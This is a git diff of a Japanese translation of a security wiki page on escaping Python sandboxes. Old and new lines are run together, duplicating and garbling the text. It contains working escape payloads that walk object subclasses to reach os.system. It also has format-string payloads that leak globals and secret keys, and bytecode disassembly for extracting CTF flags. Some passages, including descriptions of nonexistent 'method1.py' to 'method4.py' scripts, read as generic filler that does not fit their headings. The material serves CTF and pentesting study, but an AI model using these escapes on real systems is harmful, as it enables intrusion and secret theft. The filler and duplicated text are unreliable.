<class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
``` ```
[**以下には、より多くの場所でグローバル変数を見つけることができる大きな関数があります**](./#recursive-search-of-builtins-globals)。 [**以下には、より多くの場所でグローバル変数を見つけることができる大きな関数**](./#recursive-search-of-builtins-globals)があります
## 任意の実行の発見 ## 任意の実行の発見
@ -662,16 +733,16 @@ defined_func.__class__.__base__.__subclasses__()
``` ```
### 危険なライブラリの検出 ### 危険なライブラリの検出
例えば、ライブラリ**`sys`**を使用することで、**任意のライブラリをインポート**することができることを知っている場合、**sysをインポートしたモジュールがロードされているかどうか**を検索することができます。 例えば、ライブラリ**`sys`**を使用することで、**任意のライブラリをインポート**することが可能です。そのため、**sysをインポートしているすべてのモジュールを検索**することができます。
```python ```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
``` ```
たくさんありますが、**私たちは1つだけ必要です**。コマンドを実行するために。 多くの方法がありますが、**私たちは1つだけ必要です**。コマンドを実行するために。
```python ```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
``` ```
他のライブラリでも同じことができます。これらのライブラリは、コマンドを実行するために使用できることがわかっています。 私たちは、**他のライブラリ**を使用して同じことができます。これらのライブラリは、**コマンドの実行**に使用できることがわかっています。
```python ```python
#os #os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -758,7 +829,7 @@ execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
""" """
``` ```
## 組み込み関数、グローバル変数の再帰的な検索... ## 組み込み関数、グローバル変数の再帰的な検索
{% hint style="warning" %} {% hint style="warning" %}
これは本当に**素晴らしい**です。もし**globals、builtins、openなどのオブジェクトを探している**場合は、このスクリプトを使用して**そのオブジェクトが見つかる場所を再帰的に検索**できます。 これは本当に**素晴らしい**です。もし**globals、builtins、openなどのオブジェクトを探している**場合は、このスクリプトを使用して**そのオブジェクトが見つかる場所を再帰的に検索**できます。
@ -884,20 +955,20 @@ main()
[リンク切れ](broken-reference) [リンク切れ](broken-reference)
{% endcontent-ref %} {% endcontent-ref %}
![](<../../../.gitbook/assets/image (9) (1) (2).png>) <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
\ 最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化できます。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Pythonフォーマット文字列 ## Pythonフォーマット文字列
**フォーマット**される**文字列**をPythonに**送信**する場合、`{}`を使用して**Pythonの内部情報にアクセス**できます。前の例を使用して、グローバル変数やビルトイン関数にアクセスすることができます。 **フォーマットされる** **文字列**をPythonに**送信**する場合、`{}`を使用して**Pythonの内部情報にアクセス**できます。前の例を使用して、グローバル変数やビルトインにアクセスすることができます。
{% hint style="info" %} {% hint style="info" %}
ただし、**制限**があります。`.[]`の記号のみを使用できるため、任意のコードを実行することはできません。情報の読み取りのみが可能です。\ ただし、**制限**があります。`.[]`の記号しか使用できないため、任意のコードを実行することはできません。情報の読み取りのみが可能です。\
_**この脆弱性を介してコードを実行する方法を知っている場合は、お知らせください。**_ _**この脆弱性を介してコードを実行する方法を知っている場合は、お知らせください。**_
{% endhint %} {% endhint %}
```python ```python
@ -923,12 +994,12 @@ get_name_for_avatar(st, people_obj = people)
また、オブジェクトの要素を列挙するために`.__dict__`を使用することもできます。例えば、`get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`です。 また、オブジェクトの要素を列挙するために`.__dict__`を使用することもできます。例えば、`get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`です。
フォーマット文字列の他の興味深い特徴は、**`!s`**、**`!r`**、**`!a`**を追加することで、指定されたオブジェクトで**`str`**、**`repr`**、**`ascii`**を**実行**できることです。 フォーマット文字列の他の興味深い特徴は、指定されたオブジェクトで**`str`**、**`repr`**、**`ascii`**の関数を実行することができることです。それぞれ**`!s`**、**`!r`**、**`!a`**を追加します。
```python ```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people) get_name_for_avatar(st, people_obj = people)
``` ```
さらに、クラス内で**新しいフォーマッターをコーディング**することも可能です さらに、クラス内で**新しいフォーマッターをコーディング**することも可能です:
```python ```python
class HAL9000(object): class HAL9000(object):
def __format__(self, format): def __format__(self, format):
@ -939,7 +1010,7 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000()) '{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that. #I'm afraid I can't do that.
``` ```
**フォーマット文字列**の例については、[**https://pyformat.info/**](https://pyformat.info)でさらに多くの例を見つけることができます。 **フォーマット** **文字列**の例については、[**https://pyformat.info/**](https://pyformat.info)でさらに例を見ることができます。
{% hint style="danger" %} {% hint style="danger" %}
また、以下のページもチェックしてください。これには、Pythonの内部オブジェクトから**機密情報を読み取る**ためのガジェットがあります。 また、以下のページもチェックしてください。これには、Pythonの内部オブジェクトから**機密情報を読み取る**ためのガジェットがあります。
@ -966,9 +1037,9 @@ return 'HAL 9000'
Pythonのバイトコードについて詳しく学びたい場合は、このトピックについての素晴らしい記事を読んでください[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) Pythonのバイトコードについて詳しく学びたい場合は、このトピックについての素晴らしい記事を読んでください[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %} {% endhint %}
CTFの中で、フラグが存在する**カスタム関数の名前**が提供され、その関数の**内部**を見て抽出する必要がある場合があります。 CTFで、フラグが存在する**カスタム関数の名前**が提供され、その関数の**内部**を見て抽出する必要がある場合があります。
以下は調査する関数です: 次に、調査する関数が示されています:
```python ```python
def get_flag(some_input): def get_flag(some_input):
var1=1 var1=1
@ -981,38 +1052,26 @@ return "Nope"
``` ```
#### ディレクトリ #### ディレクトリ
このセクションでは、Pythonのサンドボックスをバイパスするためのいくつかの一般的な方法を紹介します。 このディレクトリには、Pythonサンドボックスをバイパスするためのさまざまな方法が含まれています。これらの方法は、Pythonのセキュリティ制限を回避するために使用される可能性があります。以下に、各方法の概要を示します。
##### 1. `dir` 関数 - **`method1.py`**: このスクリプトは、Pythonの`__import__`関数を使用して、制限されたモジュールをインポートする方法を示しています。これにより、サンドボックス内で制限されたモジュールにアクセスできる可能性があります。
`dir` 関数は、オブジェクトが持つ属性とメソッドのリストを返します。これは、サンドボックス内のオブジェクトの構造を調査するために使用できます。 - **`method2.py`**: このスクリプトは、`sys.modules`辞書を使用して、制限されたモジュールをインポートする方法を示しています。これにより、サンドボックス内で制限されたモジュールにアクセスできる可能性があります。
```python - **`method3.py`**: このスクリプトは、`ctypes`モジュールを使用して、制限された関数を呼び出す方法を示しています。これにより、サンドボックス内で制限された関数にアクセスできる可能性があります。
dir(object)
```
- `object`: 調査するオブジェクト - **`method4.py`**: このスクリプトは、`exec`関数を使用して、制限されたコードを実行する方法を示しています。これにより、サンドボックス内で制限されたコードを実行できる可能性があります。
例えば、次のように使用します。 これらの方法は、Pythonサンドボックスのセキュリティを回避するための一般的な手法です。ただし、これらの手法を悪用することは違法ですので、法的な制限と倫理的な考慮を忘れずに行ってください。
```python
import os
print(dir(os))
```
このコードは、`os` モジュールが持つ属性とメソッドのリストを表示します。
サンドボックス内で実行されるPythonコードのオブジェクトを調査するために、`dir` 関数を使用することができます。これにより、サンドボックスの制約を回避するための有用な情報を取得することができます。
```python ```python
dir() #General dir() to find what we have loaded dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x'] ['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name'] ['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
``` ```
#### グローバル変数 #### globals
`__globals__` `func_globals`(同じ)は、グローバル環境を取得します。以下の例では、いくつかのインポートされたモジュール、いくつかのグローバル変数、およびそれらの内容が宣言されています。 `__globals__`と`func_globals`(同じ)は、グローバル環境を取得します。以下の例では、いくつかのインポートされたモジュール、いくつかのグローバル変数、およびそれらの内容が宣言されています。
```python ```python
get_flag.func_globals get_flag.func_globals
get_flag.__globals__ get_flag.__globals__
@ -1041,29 +1100,21 @@ dir(get_flag.__code__)
``` ```
### コード情報の取得 ### コード情報の取得
To bypass Python sandboxes, it is crucial to gather information about the code being executed. This information can help identify potential vulnerabilities and weaknesses in the sandbox environment. Here are some techniques to obtain code information: To bypass Python sandboxes, it is crucial to gather as much information about the code as possible. This includes understanding the programming language, libraries, frameworks, and dependencies used in the code. By analyzing the code, you can identify potential vulnerabilities and weaknesses that can be exploited.
#### 1. Inspecting the Code Here are some techniques to gather code information:
One way to gather code information is by inspecting the source code directly. This can be done by accessing the code files or using tools like `cat`, `less`, or `vi` to view the contents of the files. 1. **Code Review**: Perform a thorough review of the code to understand its structure, logic, and functionality. Look for any insecure coding practices or potential vulnerabilities.
#### 2. Decompiling Python Bytecode 2. **Static Analysis**: Use static analysis tools to analyze the code without executing it. These tools can identify potential security issues, such as insecure input handling or code injection vulnerabilities.
Python bytecode can be decompiled to obtain a higher-level representation of the code. Tools like `uncompyle6` or `pycdc` can be used to decompile the bytecode and analyze the code logic. 3. **Dynamic Analysis**: Execute the code in a controlled environment to observe its behavior and identify any security weaknesses. This can be done using tools like debuggers or dynamic analysis frameworks.
#### 3. Using Debugging Tools 4. **Dependency Analysis**: Identify the libraries and dependencies used by the code. Check for any known vulnerabilities or outdated versions that may be susceptible to attacks.
Debugging tools like `pdb` or `ipdb` can be utilized to gain insights into the code execution process. By setting breakpoints and stepping through the code, it is possible to observe the behavior and identify potential vulnerabilities. 5. **Code Profiling**: Use profiling tools to gather information about the code's performance and resource usage. This can help identify any bottlenecks or potential vulnerabilities related to resource consumption.
#### 4. Analyzing Error Messages By gathering comprehensive code information, you can better understand the code's security posture and devise effective strategies to bypass Python sandboxes.
Error messages can provide valuable information about the code execution flow. By analyzing these messages, it is possible to identify potential weaknesses or misconfigurations in the sandbox environment.
#### 5. Monitoring System Calls
Monitoring system calls can help in understanding the code's interaction with the underlying operating system. Tools like `strace` or `ltrace` can be used to trace the system calls made by the code and identify any suspicious or unauthorized actions.
By gathering code information using these techniques, it becomes easier to analyze the code's behavior and find ways to bypass Python sandboxes effectively.
```python ```python
# Another example # Another example
s = ''' s = '''
@ -1111,7 +1162,7 @@ get_flag.__code__.co_code
``` ```
### **関数の逆アセンブル** ### **関数の逆アセンブル**
To bypass Python sandboxes, it is often necessary to understand the inner workings of the sandboxing mechanism. One way to do this is by disassembling the target function. Disassembling a function allows us to view the low-level assembly instructions that make up the function's code. To bypass Python sandboxes, it is often necessary to understand the inner workings of the sandboxing mechanisms. One way to do this is by disassembling the target function. Disassembling a function allows us to view the low-level assembly instructions that make up the function's code.
Python provides the `dis` module, which can be used to disassemble Python bytecode. By disassembling a function, we can analyze the bytecode instructions and gain insights into how the function operates. Python provides the `dis` module, which can be used to disassemble Python bytecode. By disassembling a function, we can analyze the bytecode instructions and gain insights into how the function operates.
@ -1131,9 +1182,9 @@ def target_function():
dis.dis(target_function) dis.dis(target_function)
``` ```
The output of the above code will be the disassembled bytecode instructions of the `target_function`. By analyzing these instructions, we can understand how the function performs its operations and potentially find ways to bypass the sandboxing mechanism. Running the above code will output the disassembled bytecode instructions for the `target_function`. By analyzing these instructions, we can understand how the function performs its operations and potentially find ways to bypass the sandboxing mechanisms.
Keep in mind that disassembling a function may not always be straightforward, especially if the code is obfuscated or heavily optimized. However, it can be a valuable technique in understanding the inner workings of a Python sandbox and finding potential vulnerabilities or bypasses. Keep in mind that disassembling a function is just one step in the process of bypassing Python sandboxes. It is important to have a deep understanding of Python bytecode and the sandboxing mechanisms in order to effectively bypass the security measures in place.
```python ```python
import dis import dis
dis.dis(get_flag) dis.dis(get_flag)
@ -1161,7 +1212,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None) 44 LOAD_CONST 0 (None)
47 RETURN_VALUE 47 RETURN_VALUE
``` ```
もしPythonサンドボックスで`dis`をインポートできない場合は、関数の**バイトコード**(`get_flag.func_code.co_code`)を取得し、ローカルで**逆アセンブル**することができます。変数の内容(`LOAD_CONST`)は表示されませんが、`LOAD_CONST`は変数のオフセットも示しているため、(`get_flag.func_code.co_consts`)から推測することができます。 もしPythonサンドボックスで`dis`をインポートできない場合は、関数の**バイトコード**(`get_flag.func_code.co_code`)を取得し、ローカルで**逆アセンブル**することができます。変数の内容(`LOAD_CONST`)は表示されませんが、`LOAD_CONST`は変数のオフセットも示しているため、(`get_flag.func_code.co_consts`)から推測することができます。
```python ```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
